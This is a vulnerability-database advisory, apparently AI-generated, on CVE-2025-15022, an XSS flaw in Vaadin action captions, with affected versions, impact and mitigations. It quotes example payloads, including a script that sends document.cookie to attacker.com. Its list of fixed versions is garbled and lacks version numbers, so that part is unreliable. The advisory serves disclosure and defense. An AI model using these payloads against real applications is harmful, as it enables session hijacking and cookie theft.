
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-15022 is a Cross-Site Scripting (XSS) vulnerability in Vaadin's action caption handling, where HTML content in action captions was accepted by default but not sanitized, enabling script injection when caption content is derived from user input. It affects Vaadin Framework 7 (7.0.0–7.7.49), Framework 8 (8.0.0–8.29.1), and Vaadin 23.1.0 through 24.9.6; Vaadin 14 is not affected. The vulnerability was published on January 5, 2026, with patches released the same day (GitHub Advisory). It carries a CVSS v4.0 base score of 4.8 (Medium) (GitHub Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the Action class in Vaadin accepted HTML in caption strings without sanitization (GitHub Advisory). In Framework 7 and 8, the Action class is general-purpose and used across multiple UI components, broadening the attack surface; in Vaadin 23+, it is scoped to the Spreadsheet component's context menu. An authenticated attacker with low privileges can supply a malicious HTML/JavaScript payload as an action caption — for example, through user-controlled data that populates a context menu entry — which is then rendered unsanitized in other users' browsers when they interact with the affected component. The fix introduces default HTML sanitization using Jsoup with a relaxed safelist for Vaadin 23+ and provides an explicit API to opt into HTML content mode for backwards compatibility in Framework 7/8 (GitHub Advisory, flow-components PR).
Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browsers of other authenticated users who view or interact with the affected Vaadin component. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, and exfiltration of sensitive data displayed in the application. The impact is primarily on the integrity and confidentiality of subsequent (user) systems, with no direct availability impact on the server (GitHub Advisory).
<img src=x onerror=alert(document.cookie)> or <script>fetch('https://attacker.com/?c='+document.cookie)</script> — through any input mechanism that populates the Action caption (e.g., a form field, spreadsheet cell, or API call).<script>, <img>, onerror=) in action caption fields or context menu-related request parameters.Vaadin has released patched versions addressing this vulnerability across all affected product lines. Users should upgrade to the following fixed versions as soon as possible (GitHub Advisory):
com.vaadin:vaadin-server)com.vaadin:vaadin-server)com.vaadin:vaadin, com.vaadin:vaadin-spreadsheet-flow)If immediate upgrade is not possible, ensure that no user-controlled input is used to populate action captions without prior server-side sanitization. For Framework 7/8, the fixed versions provide an explicit API to enable HTML content mode only where intentionally required.
The vulnerability received standard automated coverage across vulnerability tracking platforms (VulnDB, CVEFeed, CIRCL) shortly after disclosure on January 5, 2026. A brief technical write-up was published by Infinit Security (Infinit Security). No significant researcher commentary, vendor statements beyond the advisory, or notable social media discussion has been observed beyond routine CVE tracking posts.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."